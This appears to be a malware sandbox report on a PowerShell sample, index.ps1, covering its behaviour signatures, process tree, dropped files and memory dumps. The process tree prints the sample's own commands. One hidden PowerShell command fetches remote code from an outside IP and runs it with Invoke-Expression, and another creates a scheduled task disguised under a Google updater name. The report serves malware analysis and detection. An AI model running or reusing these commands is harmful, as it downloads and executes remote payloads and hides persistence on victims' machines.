Analysis
- max time kernel
149s - max time network
136s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
24/04/2026, 22:24
General
- Target index.ps1
- Size 40KB
- Sample260424-2bk7qaes8l
- SHA256 8ce7347d09e9672aab2a17a51d5d799888c21cc27da2de2bd74fd832f23b605f
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\index.ps11⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn \GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem47.0.7703.CL_DEFAULT_d6e72e478277d09b{47263A17-2D66-43B9-9692-56314D0C1AEC} /xml C:\Users\Admin\AppData\Local\Temp\schevnt.xml /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\conhost.execonhost.exe --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -Command "if(!(Get-Process wecutil,w32tm -EA 0)){Invoke-RestMethod 79.8139186/spools | Invoke-Expression}else{exit 1}"1⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -Command "if(!(Get-Process wecutil,w32tm -EA 0)){Invoke-RestMethod 79.8139186/spools | Invoke-Expression}else{exit 1}"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ylxafc1z\ylxafc1z.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3EC9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC397A7844C4814DF5818194F58895A769.TMP"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\wecutil.exe"C:\Windows\System32\wecutil.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
RES3EC9.tmp
Temp_db0b943101154cc0abf8d9dcf72f8f98.dll
__PSScriptPolicyTest_ulhjqdws.wda.ps1
schevnt.xml
CSC397A7844C4814DF5818194F58895A769.TMP
ylxafc1z.0.cs
ylxafc1z.cmdline
memory/884-169-0x0000025E6DE30000-0x0000025E6DE9F000-memory.dmp
memory/884-144-0x0000025E6C270000-0x0000025E6C2B0000-memory.dmp
memory/884-141-0x0000025E6C270000-0x0000025E6C2B0000-memory.dmp
memory/884-145-0x0000025E6C270000-0x0000025E6C2B0000-memory.dmp
memory/884-142-0x0000025E6C270000-0x0000025E6C2B0000-memory.dmp
memory/884-143-0x0000025E6C270000-0x0000025E6C2B0000-memory.dmp
memory/884-147-0x0000025E6DE30000-0x0000025E6DE9F000-memory.dmp
memory/884-149-0x0000025E6DF30000-0x0000025E6DF3C000-memory.dmp
memory/884-148-0x0000025E6DED0000-0x0000025E6DED9000-memory.dmp
memory/884-195-0x0000025E6DE30000-0x0000025E6DE9F000-memory.dmp
memory/1088-139-0x00000216F2390000-0x00000216F23FF000-memory.dmp
memory/1088-137-0x00000216D9C50000-0x00000216D9C5C000-memory.dmp
memory/1088-188-0x00000216F2350000-0x00000216F2359000-memory.dmp
memory/1088-187-0x00000216F2390000-0x00000216F23FF000-memory.dmp
memory/1088-185-0x00000216D9C50000-0x00000216D9C5C000-memory.dmp
memory/1088-182-0x00000216F2D50000-0x00000216F2E03000-memory.dmp
memory/1088-152-0x00000216F2390000-0x00000216F23FF000-memory.dmp
memory/1088-19-0x00000216D9CB0000-0x00000216D9CC0000-memory.dmp
memory/1088-140-0x00000216F2350000-0x00000216F2359000-memory.dmp
memory/1088-55-0x00000216F2A80000-0x00000216F2C42000-memory.dmp
memory/1088-138-0x00000216D9CC0000-0x00000216D9CD2000-memory.dmp
memory/1088-133-0x00000216F29B0000-0x00000216F29F6000-memory.dmp
memory/1088-20-0x00000216D9CB0000-0x00000216D9CC0000-memory.dmp
memory/1088-125-0x00000216F3260000-0x00000216F346A000-memory.dmp
memory/1088-124-0x00000216F2ED0000-0x00000216F3046000-memory.dmp
memory/1088-123-0x00000216F2460000-0x00000216F2468000-memory.dmp
memory/1108-121-0x0000020F30150000-0x0000020F3015C000-memory.dmp
memory/1896-118-0x00000259BF700000-0x00000259BF70C000-memory.dmp
memory/2780-135-0x00000253E7630000-0x00000253E769F000-memory.dmp
memory/2780-136-0x00000253E6FA0000-0x00000253E6FB2000-memory.dmp
memory/2780-134-0x00000253CEA20000-0x00000253CEA2C000-memory.dmp
memory/3272-41-0x000002AFCC540000-0x000002AFCC54A000-memory.dmp
memory/3272-13-0x000002AFB3950000-0x000002AFB3962000-memory.dmp
memory/3272-34-0x000002AFCC650000-0x000002AFCC703000-memory.dmp
memory/3272-68-0x000002AFCC5A0000-0x000002AFCC5AA000-memory.dmp
memory/3272-54-0x000002AFCC590000-0x000002AFCC5AC000-memory.dmp
memory/3272-0-0x000002AFB38E0000-0x000002AFB38F0000-memory.dmp
memory/3272-105-0x000002AFB38B0000-0x000002AFB38BC000-memory.dmp
memory/3272-107-0x000002AFCC5E0000-0x000002AFCC64F000-memory.dmp
memory/3272-14-0x000002AFCC5E0000-0x000002AFCC64F000-memory.dmp
memory/3272-15-0x000002AFCC1F0000-0x000002AFCC1F9000-memory.dmp
memory/3272-16-0x000002AFB38E0000-0x000002AFB38F0000-memory.dmp
memory/3272-33-0x000002AFCC530000-0x000002AFCC54C000-memory.dmp
memory/3272-12-0x000002AFB38B0000-0x000002AFB38BC000-memory.dmp
memory/3272-11-0x000002AFB38E0000-0x000002AFB38F0000-memory.dmp
memory/3272-10-0x000002AFB38E0000-0x000002AFB38F0000-memory.dmp
memory/3272-108-0x000002AFCC1F0000-0x000002AFCC1F9000-memory.dmp
memory/3272-9-0x000002AFB38E0000-0x000002AFB38F0000-memory.dmp
memory/3272-102-0x000002AFCC570000-0x000002AFCC57A000-memory.dmp
memory/3272-8-0x000002AFCBF80000-0x000002AFCBFA2000-memory.dmp
memory/3272-95-0x000002AFCC560000-0x000002AFCC566000-memory.dmp
memory/3272-88-0x000002AFCC520000-0x000002AFCC528000-memory.dmp
memory/3272-81-0x000002AFCCB10000-0x000002AFCCB2A000-memory.dmp
memory/3272-1-0x000002AFB38E0000-0x000002AFB38F0000-memory.dmp